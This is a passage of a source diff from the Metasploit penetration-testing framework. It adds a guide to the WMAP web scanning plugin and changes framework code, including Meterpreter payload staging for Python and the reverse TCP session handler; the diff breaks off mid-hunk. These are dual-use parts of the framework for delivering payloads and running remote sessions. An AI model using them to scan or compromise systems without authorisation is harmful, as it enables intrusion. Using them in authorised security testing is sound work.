|
||||
nodes.
|
||||
|
||||
In case you dont want to use a distributed model wmap will detect that no
|
||||
nodes have been configured and will run the modules from the local host.
|
||||
|
||||
|
||||
=[ 2. Crawlers,proxies and other clients ] -----------------------------------
|
||||
|
||||
At this time Metasploit have 4 components that may be used as clients
|
||||
to store web sites in the database:
|
||||
|
||||
(1) If you have configured your database properly and use the
|
||||
auxiliary/scanner/http/crawler module, this module will create a web site
|
||||
(with related host and service) and store all requests,responses and forms
|
||||
automatically.
|
||||
|
||||
(2) Less known is that metasploit has a different crawler called msfcrawler
|
||||
and besides supporting modules to parse the responses in any way you want
|
||||
it will also store the required data in the database.
|
||||
|
||||
(3) Also any module that creates a web_site in the database (e.g.
|
||||
auxiliary/scanner/http/http_version module)
|
||||
will add a site to the database that can be selected as a target in Wmap,
|
||||
however the only path you will be storing will be the root path of the
|
||||
website '/'.
|
||||
|
||||
(4) Metasploit has the awesome 'db_import' command that allows to import
|
||||
multiple scan results from many sources. For tools like Acunetix,
|
||||
Burp and Appscan the results contains web_pages and forms. For the rest
|
||||
(at this time) the results will import services (no web sites, pages or
|
||||
forms associated to them).
|
||||
|
||||
msf > db_import
|
||||
Usage: db_import <filename> [file2...]
|
||||
|
||||
Filenames can be globs like *.xml, or **/*.xml which will search recursively
|
||||
Currently supported file types include:
|
||||
Acunetix XML
|
||||
Amap Log
|
||||
Amap Log -m
|
||||
Appscan XML
|
||||
Burp Session XML
|
||||
...
|
||||
|
||||
|
||||
Or you can add a site manually to the database using the 'wmap_sites -a'
|
||||
command (after loading the wmap plugin. See '4. Wmap Plugin'):
|
||||
|
||||
msf > wmap_sites -a www.blah.net,http://192.168.0.2/
|
||||
[*] Site created.
|
||||
|
||||
Note: www.blah.net,http://192.168.0.2/ <-- is one site vhost,url
|
||||
|
||||
For other tools to store web data in the database the only hard part is to
|
||||
deal with the ruby marshalling of parameters in the web_forms table. (Topic
|
||||
for another paper). But this is one of the main issues regarding the use of
|
||||
other tools to connect to the database. However any Ruby based tool can be
|
||||
modified easily to do this.
|
||||
|
||||
If you noticed the previous architecture the ATTACK PROXY has gone the way of
|
||||
the Dodo (actually not as is just another client). But i will stop mention it
|
||||
because i have been unable to create a good Ruby based MITM proxy (Sorry)
|
||||
and second because i dont want to maintain plugins for every type of proxy
|
||||
out there. Is your exercise to create custom plugins for your tools to connect
|
||||
to the database, after that Wmap does not care where the data comes from.
|
||||
|
||||
=[ 3. The Wmap cycle ]--------------------------------------------------------
|
||||
|
||||
Or how every other scanner works but in wmap fancy terms.
|
||||
|
||||
0. Gather data from (See Crawlers,proxies and other clients)
|
||||
targets
|
||||
1. Load the scanner (Load wmap plugin. See "4. Wmap Plugin")
|
||||
2. Optional: Define nodes (Use 'wmap_nodes'. See "6. Wmap Nodes")
|
||||
3. Define targets (Use 'wmap_sites' and 'wmap_targets'.See "5. Wmap Targets")
|
||||
4. Configure (Lots of things here)
|
||||
5. Launch (Use 'wmap_run'. See "7. Launch a scan")
|
||||
6. Enjoy WTF Moments(Priceless...)
|
||||
|
||||
Note: Step 2 is optional as Wmap allows you to perform distributed scans
|
||||
using multiple nodes. If no nodes are configured the scan runs as usual
|
||||
running all tests from the local host.
|
||||
|
||||
=[ 4. Wmap Plugin ]-----------------------------------------------------------
|
||||
|
||||
To launch wmap open a Metasploit console and load the wmap plugin.
|
||||
|
||||
msf > load wmap
|
||||
[*] [Wmap 1.5] === et [ ] metasploit.com 2012
|
||||
[*] Successfully loaded plugin: wmap
|
||||
|
||||
Now that the plugin is loaded lets go through the list of basic commands:
|
||||
|
||||
msf > help wmap
|
||||
|
||||
Wmap Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
wmap_nodes Manage nodes
|
||||
wmap_run Test targets
|
||||
wmap_sites Manage sites
|
||||
wmap_targets Manage targets
|
||||
wmap_modules Manage wmap modules
|
||||
wmap_vulns Display web vulns
|
||||
|
||||
=[ 5. Wmap Targets ]----------------------------------------------------------
|
||||
|
||||
The targets are selected from the sites already stored in the database. For
|
||||
example after crawling a site (See "2. Crawlers,proxies and other clients").
|
||||
Now we can use the command 'wmap_sites' to list them:
|
||||
|
||||
msf > wmap_sites
|
||||
[*] Usage: wmap_sites [options]
|
||||
-h Display this help text
|
||||
-a [url] Add site (vhost,url)
|
||||
-l List all available sites
|
||||
-s [id] Display site structure (vhost,url|ids) (level)
|
||||
|
||||
msf > wmap_sites -l
|
||||
[*] Available sites
|
||||
===============
|
||||
|
||||
Id Host Vhost Port Proto # Pages # Forms
|
||||
-- ---- ----- ---- ----- ------- -------
|
||||
0 10.10.10.1 blah.xyz.com 443 https 3 2
|
||||
1 10.10.10.2 blah.xyz.com 443 https 3 2
|
||||
2 10.1.2.2 nah.test.com 443 https 1 0
|
||||
3 10.4.3.10 test.abcd.com 80 http 1 1
|
||||
|
||||
Note 1: Metasploit/Wmap supports multiple Vhosts/IPs.
|
||||
|
||||
Note 2: If you want to check the web site structure use the '-s site_id' flag
|
||||
like this (also especify an optional level to display):
|
||||
|
||||
msf > wmap_sites -s 0 1
|
||||
(First level of site 0)
|
||||
msf > wmap_sites -s 0
|
||||
|
||||
[10.10.10.1] (blah.xyz.com)
|
||||
|
|
||||
+-------- dir1
|
||||
|
|
||||
+------ login.php
|
||||
+-------- dir2
|
||||
....
|
||||
|
||||
Then from the table we can select the targets we want to scan with the
|
||||
'wmap_targets' command:
|
||||
|
||||
msf > wmap_targets
|
||||
[*] Usage: Wmap_targets [options]
|
||||
-h Display this help text
|
||||
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
|
||||
-d [ids] Define target sites (id1, id2, id3 ...)
|
||||
-c Clean target sites list
|
||||
-l List all target sites
|
||||
|
||||
You can define targets in two ways, using the vhost,url syntax (-t) or the
|
||||
table ids (-d)
|
||||
|
||||
msf > wmap_targets -t test.abcd.com,http://10.4.3.10/
|
||||
|
||||
msf > wmap_targets -d 0,1
|
||||
[*] Loading blah.xyz.com,https://10.10.10.1:443/.
|
||||
[*] Loading blah.xyz.com,https://10.10.10.2:443/.
|
||||
|
||||
To see the list of all the targets to scan at this time run the
|
||||
command with the (-l) flag.
|
||||
|
||||
msf > wmap_targets -l
|
||||
[*] Defined targets
|
||||
===============
|
||||
|
||||
Id Vhost Host Port SSL Path
|
||||
-- ----- ---- ---- --- ----
|
||||
0 blah.xyz.com 10.10.10.1 443 true /
|
||||
1 blah.xyz.com 10.10.10.2 443 true /
|
||||
2 test.abcd.com 10.4.3.10 80 false /
|
||||
|
||||
|
||||
=[ 6. Wmap Nodes ]------------------------------------------------------------
|
||||
|
||||
Wmap uses 'nodes' as a way to distribute the execution of the test against
|
||||
one or more targets. Nodes are not required to run wmap . if nodes are not
|
||||
configured and a scan is launched wmap will detect this and launch all tests
|
||||
from the local host.
|
||||
|
||||
The nodes are just msfrpcd servers that are created the following way:
|
||||
|
||||
msf>ruby msfrpcd -h
|
||||
|
||||
Usage: msfrpcd <options>
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-P <opt> Specify the password to access msfrpcd
|
||||
-S Disable SSL on the RPC socket
|
||||
-U <opt> Specify the username to access msfrpcd
|
||||
-a <opt> Bind to this IP address
|
||||
-f Run the daemon in the foreground
|
||||
-h Help banner
|
||||
-n Disable database
|
||||
-p <opt> Bind to this port instead of 55553
|
||||
-u <opt> URI for Web server
|
||||
|
||||
msf>ruby msfrpcd -U msf -P nodepass
|
||||
[*] MSGRPC starting on 192.168.0.1:55553 (SSL):Msg...
|
||||
[*] MSGRPC backgrounding at 2012-01-17 11:01:01 -0600...
|
||||
|
||||
if you want to create a msfrpc server from the msfconsole you can do it by
|
||||
loading the msgrpc plugin:
|
||||
|
||||
msf > load msgrpc User=msf Pass=nodepass
|
||||
[*] MSGRPC Service: 127.0.0.1:55552
|
||||
[*] MSGRPC Username: msf
|
||||
[*] MSGRPC Password: nodepass
|
||||
[*] Successfully loaded plugin: msgrpc
|
||||
|
||||
On a later stage in the wmap console we will add such nodes so the scans can
|
||||
be distributed across all the configured nodes. so remember how you deployed
|
||||
your nodes so they can be configured in wmap.
|
||||
|
||||
In the metasploit console after you have loaded the wmap plugin you can add
|
||||
the previous nodes with the 'wmap_nodes' command:
|
||||
|
||||
msf > wmap_nodes
|
||||
[*] Usage: wmap_nodes [options]
|
||||
-h Display this help text
|
||||
-c id Remove id node (Use ALL for ALL nodes
|
||||
-a host port ssl user pass Add node
|
||||
-d host port user pass db Force all nodes to connect to a db
|
||||
-j View detailed jobs
|
||||
-k ALL|id ALL|job_id Kill jobs on node
|
||||
-l List all current nodes
|
||||
|
||||
msf > wmap_nodes -a 192.168.0.1 55553 true msf nodepass
|
||||
[*] Connected to 192.168.0.1:55553 [4.2.0-dev].
|
||||
[*] Node created.
|
||||
|
||||
Note: When launching msfrpcd waiht for a couple of seconds beofr adding it to
|
||||
wmap as msfrpcd sometimes is slow to start accepting connections.
|
||||
|
||||
Add as many nodes you want. To see the list use 'wmap_nodes -l':
|
||||
|
||||
msf > wmap_nodes -l
|
||||
[*] Nodes
|
||||
=====
|
||||
|
||||
Id Host Port SSL User Pass Status #jobs
|
||||
-- ---- ---- --- ---- ---- ------ -----
|
||||
0 127.0.0.1 55553 true msf nodepass 4.2.0-dev 0
|
||||
1 192.168.0.1 55553 true msf nodepass 4.2.0-dev 0
|
||||
|
||||
Note: After launching all tests this command will allow you to see if all
|
||||
your jobs have been completed (#jobs == 0).
|
||||
|
||||
Remember that all these commands can be added as a .rc file so you dont
|
||||
have to type again and again the loading of wmap and the configuration of
|
||||
nodes.
|
||||
|
||||
After you have your nodes connected then you can force them to connect to
|
||||
the central metasploit database:
|
||||
|
||||
msf > wmap_nodes -d 127.0.0.1 7175 dbuser dbpass msf3
|
||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 127.0.0.1:7175 OK
|
||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 192.168.0.1:7175 OK
|
||||
[*] OK.
|
||||
|
||||
|
||||
=[ 7. Launch a scan ]---------------------------------------------------------
|
||||
|
||||
Now that database,targets and maybe nodes are set we run a scan with the
|
||||
'wmap_run' command:
|
||||
|
||||
msf > wmap_run
|
||||
[*] Usage: wmap_run [options]
|
||||
-h Display this help text
|
||||
-t Show all enabled modules
|
||||
-m [regex] Launch only modules that match provided regex
|
||||
-p [regex] Only test path defined by regex..
|
||||
-e [/path/to/profile] Launch profile modules against all targets.
|
||||
No file runs all enabled modules.
|
||||
|
||||
msf > wmap_run -e
|
||||
[*] Using ALL wmap enabled modules.
|
||||
[*] Testing target:
|
||||
[*] Site: test.abcd.com (10.4.3.10)
|
||||
[*] Port: 80 SSL: false
|
||||
============================================================
|
||||
[*] Testing started. 2012-12-21 0:0:0 -0600
|
||||
[*]
|
||||
=[ SSL testing ]=
|
||||
============================================================
|
||||
[*] Target is not SSL. SSL modules disabled.
|
||||
[*]
|
||||
=[ Web Server testing ]=
|
||||
============================================================
|
||||
[*] Module auxiliary/admin/http/http_version
|
||||
[*] Module auxiliary/admin/http/tomcat_administration
|
||||
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
|
||||
[*] Module auxiliary/admin/http/trendmicro_dlp_traversal
|
||||
[*] Module auxiliary/scanner/http/cisco_nac_manager_traversal
|
||||
....
|
||||
msf >
|
||||
|
||||
As you see here wmap executes each of the modules against the defined targets.
|
||||
(See "8. Wmap Modules") If nodes were configured it will go thru the list of
|
||||
nodes and will send a job to the less loaded node to execute the especific
|
||||
module with the required options. To force a good job distribution across the
|
||||
nodes wmap has a limit of 25 jobs per node. If a node has reached the limit it
|
||||
will try with the next node until there is a slot available.
|
||||
|
||||
Check periodically with the 'wmap_nodes -l' command to see the current job
|
||||
status. After the asssement is complete now you can use the normal metasploit
|
||||
commands to see the results.
|
||||
|
||||
To view detailed job information on each node use the 'wmap_nodes' (-j) flag:
|
||||
|
||||
msf >wmap_nodes -j
|
||||
[*] [Node #0: 127.0.0.1 Port:55553 SSL:true User:msf]
|
||||
[*] Jobs
|
||||
====
|
||||
|
||||
Id Job name Target PATH
|
||||
-- -------- ------ ----
|
||||
0 Auxiliary: scanner/http/dir_scanner 192.168.0.1:80 /
|
||||
...
|
||||
|
||||
|
||||
[*] [Node #1: 127.0.0.1 Port:55555 SSL:true User:msf]
|
||||
[*] Jobs
|
||||
====
|
||||
|
||||
Id Job name Target PATH
|
||||
-- -------- ------ ----
|
||||
2 Auxiliary: scanner/http/dir_scanner 192.168.0.2:80 /
|
||||
...
|
||||
|
||||
Also you can kill especific jobs or all jobs from one or all nodes:
|
||||
|
||||
msf > wmap_nodes -k 0 ALL
|
||||
[*] Node 0 Killed job id 262 Auxiliary: admin/http/tomcat_administration
|
||||
[*] Node 0 Killed job id 263 Auxiliary: admin/http/tomcat_utf8_traversal
|
||||
[*] Node 0 Killed job id 271 Auxiliary: scanner/http/soap_xml
|
||||
[*] Node 0 Killed job id 299 Auxiliary: scanner/http/brute_dirs
|
||||
[*] Node 0 Killed job id 300 Auxiliary: scanner/http/brute_dirs
|
||||
[*] Node 0 Killed job id 301 Auxiliary: scanner/http/brute_dirs
|
||||
....
|
||||
|
||||
If during the scan a node dies wmap will disable the node and will keep
|
||||
sending the jobs to the other active nodes.
|
||||
|
||||
If nodes were not configured wmap will launch the tests from the
|
||||
local host the old fashion.
|
||||
|
||||
=[ 8. Wmap Modules ] ---------------------------------------------------------
|
||||
|
||||
Wmap modules are normal Metasploit modules. Each module has a WMAP type,
|
||||
this determine when the module is launched and to a certain degree,the minimum
|
||||
type of information it requires to be executed. The best way to develop a new
|
||||
test for wmap, is to use already implemented modules as a base and then
|
||||
develop a normal MSF module that can be run manually from the command line. To
|
||||
enable a module to be run automatically via wmap just include the mixin that
|
||||
determine the type of the module (Means: just add the example string to a
|
||||
module and use the correct type).
|
||||
|
||||
Example:
|
||||
|
||||
include Auxiliary::WmapScanFile
|
||||
|
||||
The following are the types of modules implemented at this time and they are
|
||||
listed in the order WMAP runs them:
|
||||
|
||||
WmapScanSSL - Run once against a SSL server
|
||||
WmapScanServer - Run once against a target Web Server
|
||||
WmapScanDir - Runs for every directory found in the target
|
||||
WmapScanFile - Runs for every file found in the target
|
||||
WmapScanUniqueQuery - Runs for every unique query found in each request to the
|
||||
target
|
||||
WmapScanQuery - Runs for every query found in each request to the target
|
||||
WmapScanGeneric - Modules to be run after all tests complete.Good place to
|
||||
perform passive analysis of responses, analysis of test
|
||||
results to launch other modules (i.e. exploits).
|
||||
|
||||
Note: Multiple mixins can be included in a module if needed.
|
||||
|
||||
The execution order not only is handled by the wmap type but also it can be
|
||||
adjusted across all modules by defining a wmap orderid number using the
|
||||
'register_wmap_options' method.
|
||||
|
||||
Using http_version.rb module as an example:
|
||||
|
||||
Class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::WmapScanServer
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Version Detection',
|
||||
...
|
||||
)
|
||||
|
||||
register_wmap_options({
|
||||
'OrderID' => 0,
|
||||
'Require' => {},
|
||||
})
|
||||
...
|
||||
|
||||
'OrderID' Numeric value that represents the order ALL modules will be executed
|
||||
You can see the modules and orderid with the 'wmap_modules -l'
|
||||
command:
|
||||
|
||||
msf > wmap_modules -l
|
||||
|
||||
|
||||
'Require' Array of all the modules orderids that are required to be executed
|
||||
and finished first before the curent module. (This specific
|
||||
funtionality is still in the works, but the objective is to have
|
||||
modules to provide results as input to other modules.)
|
||||
|
||||
Wmap enabled modules can be reloaded using the wmap_modules -r command.
|
||||
|
||||
=[ 9. RANDOM NOTES ]----------------------------------------------------------
|
||||
|
||||
Because every test is a module the datastore is sent to the module in the node
|
||||
for execution. If a module you create needs a specific option set before
|
||||
launch just set it in the console as a regular variable. For example:
|
||||
|
||||
msf > set DOMAIN abcd.com
|
||||
DOMAIN => abcd.com
|
||||
msf >
|
||||
|
||||
This is usefull if you want to include exploits in the testing and not only
|
||||
auxiliary modules. WMAP looks for wmap enabled modules in ALL auxiliary and
|
||||
exploit modules.
|
||||
|
||||
Also if you have asked yourself why there are commands that receive not only
|
||||
table id but the ugly vhost,url syntax for site and target definition is
|
||||
because this allows to do complex scripts, so be creative.
|
||||
|
||||
If you see a Reauth message in WMAP is because the XMLRPC token is not valid
|
||||
and a reauthentication to the nodes is required. But dont worry wmap does that
|
||||
automaticaly for you.
|
||||
|
||||
=[ 10. Results ]--------------------------------------------------------------
|
||||
|
||||
Modules may report results as notes (notes) , vulnerabilities (vulns) and/or
|
||||
web vulnerabilities (web vulns). As notes and general vulnerabilities can be
|
||||
displayed using the metasploit commands 'notes' and 'vulns', Wmap implements
|
||||
'wmap_vulns' to display the results stored in the web_vulns db table. The
|
||||
reporting is basic at this time , however the Metasploit database can be
|
||||
easily accessed to fullfill your reporting needs.
|
||||
|
||||
Note: Always check 'notes', 'vulns' and 'wmap_vulns' for results.
|
||||
|
||||
|
||||
=[ 11. TO DO ]----------------------------------------------------------------
|
||||
|
||||
- The quality of the scan depends on the quality of the modules. So please
|
||||
contribute more modules and improvements. If you dont contribute , you dont
|
||||
have the right to complain. The only key issues to consider are:
|
||||
|
||||
+ The module should follow metasploit guidelines
|
||||
+ Add the right mixin(s)
|
||||
+ The module should store the right data and results in the database
|
||||
+ Always use report_vuln or report_web_vuln to report output from a
|
||||
module as report_note overwrites results if 'type' is the same.
|
||||
+ The module has to have a clear purpose!!!!
|
||||
Is better to have multiple modules with simple tasks/objectives that
|
||||
one that does everything.
|
||||
+ The variables/options used in the datastore have to be the same between
|
||||
wmap and the module so wmap can pass the right information to it.
|
||||
Usually this is the naming convention to use for the options:
|
||||
|
||||
OptString:
|
||||
|
||||
'VHOST' = HTTP Virtual Host
|
||||
'METHOD' = HTTP Method
|
||||
'PATH' = HTTP URI Path.
|
||||
'QUERY' = HTTP URI Query usually in the param1=value1& form.
|
||||
'DATA' = HTTP Data. In a POST request is the body of the request.
|
||||
Usually in the param1=value1& form.
|
||||
'HEADERS'= HTTP headers (header1=value1;..)
|
||||
|
||||
OptBool:
|
||||
|
||||
'VERBOSE'= Verbose flag.
|
||||
|
||||
Note: This naming convention may change. However if this naming
|
||||
convention is used any changes can be implemented easily.
|
||||
|
||||
- Also if you want to take the big task of developing a ruby MITM proxy for
|
||||
metasploit that will be very helpfull for the project.
|
||||
|
||||
=[ Disclaimer ]---------------------------------------------------------------
|
||||
I dont work for R7. XD
|
||||
==============================================================================
|
||||
et [ ] metasploit.com 2012
|
||||
|
||||
|
|
@ -107,7 +107,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
File.open(user_file, 'r:binary') do |user_fd|
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
if password
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
|
|
|
@ -55,7 +55,7 @@ module Auxiliary
|
|||
|
||||
# Verify the ACTION
|
||||
if (mod.actions.length > 0 and not mod.action)
|
||||
raise MissingActionError, "You must specify a valid Action", caller
|
||||
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
|
@ -113,6 +113,8 @@ module Auxiliary
|
|||
# be normalized
|
||||
mod.validate
|
||||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
end
|
||||
|
|
|
@ -182,6 +182,8 @@ module Exploit
|
|||
# be normalized
|
||||
mod.validate
|
||||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
end
|
||||
|
|
|
@ -210,9 +210,15 @@ end
|
|||
###
|
||||
class MissingActionError < ArgumentError
|
||||
include AuxiliaryError
|
||||
attr_accessor :reason
|
||||
|
||||
def initialize(reason='')
|
||||
self.reason = reason
|
||||
super
|
||||
end
|
||||
|
||||
def to_s
|
||||
"A valid action has not been selected."
|
||||
"Invalid action: #{reason}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -37,9 +37,16 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('UDP_SECRET', [true, 'The 32-bit cookie for UDP probe requests.', 1297303091]),
|
||||
OptAddress.new('GATEWAY', [false, 'The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set.']),
|
||||
OptInt.new('NETMASK', [false, 'The local network mask. This is used to decide if an address is in the local network.', 24]),
|
||||
OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]),
|
||||
OptAddress.new('GATEWAY_PROBE_HOST',
|
||||
[
|
||||
true,
|
||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||
'www.metasploit.com']),
|
||||
OptPort.new('GATEWAY_PROBE_PORT',
|
||||
[
|
||||
false,
|
||||
'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)'])
|
||||
], Msf::Exploit::Capture
|
||||
)
|
||||
|
||||
|
@ -117,7 +124,7 @@ module Msf
|
|||
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
||||
if do_arp
|
||||
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
||||
preamble = datastore['UDP_SECRET'].to_i
|
||||
preamble = datastore['SECRET'].to_i
|
||||
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
||||
self.arp_capture.setfilter(arp_filter)
|
||||
end
|
||||
|
@ -304,15 +311,18 @@ module Msf
|
|||
end
|
||||
|
||||
def probe_gateway(addr)
|
||||
dst_host = (datastore['GATEWAY'] || IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET).to_s)
|
||||
dst_port = rand(30000)+1024
|
||||
preamble = [datastore['UDP_SECRET']].pack("N")
|
||||
dst_host = datastore['GATEWAY_PROBE_HOST']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
preamble = [datastore['SECRET']].pack("N")
|
||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||
|
||||
begin
|
||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
||||
UDPSocket.open do |sock|
|
||||
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_TTL, 1)
|
||||
sock.send(secret, 0, dst_host, dst_port)
|
||||
end
|
||||
rescue Errno::ENETUNREACH
|
||||
# This happens on networks with no gatway. We'll need to use a
|
||||
# This happens on networks with no gateway. We'll need to use a
|
||||
# fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
@ -402,9 +412,11 @@ module Msf
|
|||
def lookupnet
|
||||
check_pcaprub_loaded
|
||||
dev = datastore['INTERFACE'] || ::Pcap.lookupdev
|
||||
mask = datastore['NETMASK'] || 24
|
||||
begin
|
||||
my_net = IPAddr.new("#{Pcap.lookupnet(dev).first}/#{mask}")
|
||||
my_ip, my_mask = Pcap.lookupnet(dev)
|
||||
# convert the netmask obtained from the relevant interface to CIDR
|
||||
cidr_mask = my_mask.to_s(2).count('1')
|
||||
my_net = IPAddr.new("#{my_ip}/#{cidr_mask}")
|
||||
rescue RuntimeError => e
|
||||
@pcaprub_error = e
|
||||
print_status("Cannot stat device: #{@pcaprub_error}")
|
||||
|
@ -414,10 +426,7 @@ module Msf
|
|||
end
|
||||
|
||||
def should_arp?(ip)
|
||||
@mydev ||= datastore['INTERFACE'] || ::Pcap.lookupdev
|
||||
@mymask ||= datastore['NETMASK'] || 24
|
||||
@mynet ||= lookupnet
|
||||
@mynet.include?(IPAddr.new(ip))
|
||||
lookupnet.include?(IPAddr.new(ip))
|
||||
end
|
||||
|
||||
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
||||
|
|
|
@ -194,6 +194,40 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
# Patch all the things
|
||||
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
||||
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank?
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
@ -201,7 +235,7 @@ protected
|
|||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be API for building them
|
||||
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||
# in Metasploit :-)
|
||||
packet = ""
|
||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||
|
@ -223,7 +257,6 @@ protected
|
|||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
|
|
|
@ -8,8 +8,9 @@ module Msf
|
|||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92
|
||||
URI_CHECKSUM_INITJ = 88
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98
|
||||
|
||||
#
|
||||
|
@ -61,6 +62,8 @@ module Msf
|
|||
case uri_check
|
||||
when URI_CHECKSUM_INITW
|
||||
uri_match = "/INITM"
|
||||
when URI_CHECKSUM_INITP
|
||||
uri_match = "/INITPY"
|
||||
when URI_CHECKSUM_INITJ
|
||||
uri_match = "/INITJM"
|
||||
when URI_CHECKSUM_CONN
|
||||
|
|
|
@ -59,7 +59,6 @@ module ReverseTcp
|
|||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
], Msf::Handler::ReverseTcp)
|
||||
|
||||
self.handler_queue = ::Queue.new
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
|
@ -137,30 +136,39 @@ module ReverseTcp
|
|||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
local_port = bind_port
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) {
|
||||
client = nil
|
||||
queue = ::Queue.new
|
||||
|
||||
begin
|
||||
local_port = bind_port
|
||||
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
client = self.listener_sock.accept
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
if ! client
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
self.handler_queue.push( client )
|
||||
end while true
|
||||
lqueue.push(client)
|
||||
rescue ::Exception
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
break
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) {
|
||||
while true
|
||||
client = self.handler_queue.pop
|
||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client = cqueue.pop
|
||||
|
||||
if ! client
|
||||
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
